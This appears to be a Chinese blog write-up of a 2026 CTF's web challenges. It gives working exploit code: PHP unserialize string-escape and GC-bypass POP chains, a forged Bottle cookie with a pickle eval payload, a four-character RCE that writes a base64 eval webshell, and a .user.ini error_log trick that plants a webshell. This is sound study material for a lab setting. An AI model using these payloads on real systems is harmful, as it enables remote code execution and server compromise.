2026新春杯

本文最后更新于 2026年2月10日 晚上

够了够了,谢谢大家

一开始是手搓的,复现的时候补了一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://175.27.251.122:34925/"

for i in range(1, 101):

s = requests.Session()

s.post(f"{url}/register.php", data={'username': f"user{i}",'password': "123"})
s.post(f"{url}/login.php", data={'username': f"user{i}",'password': "123"})
s.post(f"{url}/weechatt.php", data={'like': ''})
print(f"[*]第{i}次点赞成功")

Snipaste_2026-02-07_11-54-44

让人变幸运的魔法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
highlight_file(__FILE__);
error_reporting(0);

function magic($param) {

$unlucky_list = ['unlucky', 'bad', 'jinx', 'unfortunate'];
foreach ($unlucky_list as $unlucky) {
$param = str_replace($unlucky, 'lucky', $param);
}
return $param;
}

class Frieren{
public $spell;
public $target = 'Nobody';

public function __construct($spell){
$this -> spell = $spell;
}

public function __wakeup(){
if ($this -> target !== 'Nobody'){
echo "成功让".$this -> target."变得幸运!";
}
}
}

class Himmel{
public $sword = "Himmel's sword";
public $action;
public function __toString(){
if ($this -> action === 'try' && $this -> sword !== "Sword of the Hero"){
echo "'这次的勇者也不是真正的勇者啊...'".PHP_EOL;
echo "'假勇者又有何妨,我会消灭魔王,让世界恢复和平。'".PHP_EOL;
$func = $this -> sword;
$func();
}else{
return "真正的勇者?";
}
}
}

class Fern{
public $book;

public function __invoke(){
$this -> book -> abliity;
}
}

class Stark{
private $ability;
public function __get($name){
eval($this -> ability);
}
}

$spell = $_POST['spell'];
if (isset($spell)){
$data = serialize(new Frieren($spell));
$magic_data = magic($data);
unserialize($magic_data);
}

先分析一下链子

1
Frieren -> Himmel -> Fern -> Stark

这里我们发现它在下面已经帮我们构建了Frieren,但$target并不是我们想要的,所以要利用上面的魔法进行字符串逃逸

1
O:7:"Frieren":2:{s:5:"spell";s:4:"test";s:6:"target";s:6:"Nobody";}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Stark {
private $ability = "system('cat /flag');"; // 想要执行的命令
}

class Fern {
public $book;
}

class Himmel {
public $sword;
public $action = 'try';
}

class Frieren {
public $spell;
public $target;
}

$s = new Stark();
$fe = new Fern();
$fe->book = $s;
$h = new Himmel();
$h->sword = $fe;

$f = new Frieren("");
$f->target = $h;

$tail = serialize($f);

echo "希望:".$tail."\n";
$injection = '";s:6:"target";' . serialize($h) . '}';
echo "注入代码长度: " . strlen($injection) . "\n";
echo "url: " . urlencode($injection) . "\n";

bad会被替换为lucky,每有一个bad就会逃出2个字符,payload长度是160,所以要在前面加80个bad

image-20260209002211888

pttole

审计代码发现:

  • bottle框架
  • config.py里面有secret和用户密码
  • dashboard.py里面解析cookie可能存在pickle反序列化

先伪造一个用户试试

1
2
3
4
5
6
7
8
import bottle

SECRET = "h3ckTheworld123"
SESSION_DATA = ("name", {"name": "admin"})

encoded_value = bottle.cookie_encode(SESSION_DATA, SECRET)

print(encoded_value.decode())

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import bottle

SECRET = "h3ckTheworld123"
COOKIE_NAME = "name"

class Exploit:
def __reduce__(self):
code = "int(open('/flag').read())"

#code = "exec(\"raise Exception(open('/flag').read())\")"

return (eval, (code,))

payload = (COOKIE_NAME, Exploit())
encoded_value = bottle.cookie_encode(payload, SECRET)

print(encoded_value.decode())

image-20260209003551781

ez_uns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
class Acc1oFl4g
{
public $shql;
public $tou;
public function exec()
{
if (strpos($this->tou, 'S:') === false) {
$gxn = serialize(unserialize($this->tou));
$gxngxngxn = unserialize($gxn);
if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) {
include($gxngxngxn->act());
}
} else {
throw new Exception("不会本地调试怕是写不出来了");
}
}
public function __destruct()
{
if ($this->shql == "admin") {
$this->exec();
}
}
}

class Amoda
{
protected $q1;
protected $q2;

public function act()
{
if (!is_string($this->q1) || !is_string($this->q2)) {
throw new Exception("不会本地调试怕是写不出来了");
}
$result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2;
if (strpos($result, 'convert') !== false) {
throw new Exception("不会本地调试怕是写不出来了");
}
return $result;

}
}

$web = $_POST["webweb"];
if (stripos($web, 'admin') !== false && stripos($web, 'Amoda":') == false) {

exit ("不会本地调试怕是写不出来了");
}

$webb = unserialize($web);
throw new Exception("不会本地调试怕是写不出来了");

这个题逻辑还是比较清晰的,主要就是几个WAF的绕过

1
2
3
4
5
6
if (strpos($this->tou, 'S:') === false) {
$gxn = serialize(unserialize($this->tou));
$gxngxngxn = unserialize($gxn);
if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) {
include($gxngxngxn->act());
}

首先就是这里,反序列化再序列化最后内容要不一样,开头就把S:给禁了,编码绕过肯定不行,一开始想用+绕过,调试了一下不行,那就直接在序列化后的内容后面加两个空格

1
2
3
4
5
6
7
8
if (!is_string($this->q1) || !is_string($this->q2)) {
throw new Exception("不会本地调试怕是写不出来了");
}
$result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2;
if (strpos($result, 'convert') !== false) {
throw new Exception("不会本地调试怕是写不出来了");
}
return $result;

命令执行这里在q1、q2中间加了讨厌的中文,还把filter链的convert给ban了

考虑到最后是执行include命令,那就构建一条相对路径 /不会本地调试怕是写不出来了/../flag

最后有一个异常抛出,要用gc回收机制绕过,让__destruct提前触发

这里需要注意在php里面完成url编码,因为protected变量序列化后会带有不可见字符

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Acc1oFl4g {
public $shql = "admin";
public $tou;
}

class Amoda {
protected $q1 = "/";
protected $q2 = "/../flag";
}

$amo = new Amoda();
$ser_amo = serialize($amo);

$ser_amo .=" ";//绕过gxn

$acc = new Acc1oFl4g();
$acc->tou = $ser_amo;

$b=array('a'=>$acc,'b'=>null);

$payload = serialize($b);
$payload = str_replace('b', 'a', $payload);
//echo $payload;
echo urlencode($payload);

image-20260209005432545

失语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
highlight_file(__FILE__);

if(!isset($_SESSION['sandbox'])){
$_SESSION['sandbox'] = bin2hex(random_bytes(8));
}

$sandbox = $_SESSION['sandbox'];

if(!is_dir($sandbox)){
mkdir($sandbox);
}

chdir($sandbox);

echo "Sandbox: ".getcwd();

if(isset($_REQUEST['Mutsumi']) && strlen($_REQUEST['Mutsumi']) <= 4){
exec($_REQUEST['Mutsumi']);
}
?>

经典的4字符RCE

这里参考了一下 RCE总结

主要就是利用Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数的特性拼接命令,写入木马

1
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>a.php

这里需要注意的是,本题开启了沙箱,所以使用python脚本必须保证在一个session会话里面,或者直接使用bp的爆破工具

这里我选择了后者,稍微修改了一下payload,注意更改bp的资源池最大并发请求数为1才会按照顺序请求

image-20260209011726054

image-20260209011440440

Acc’s Blog

审计代码发现image-20260209011950524

在publish.php里面留了后门,但是进行了严格的过滤

抓包了一下发现是nginx,所以只能用.user.ini

根据提示,利用.user.ini时区配置报错写入木马

1
2
3
4
log_errors = 1
display_errors = 0
error_log = ./shell.php
date.timezone = "<?php @eval($_POST['pass']);?>"

这样传上去并访问shell.php发现并不能解析php代码,猜测是进行了HTML转义,所以要在配置里面禁止一下

1
2
3
4
log_errors = On
html_errors = Off
error_log = ./shell.php
date.timezone = "<?php @eval($_POST['pass']);?>"

image-20260209012726229


2026新春杯
https://www.sunynov.top/2026/02/08/2026新春杯/
作者
suny
发布于
2026年2月8日
许可协议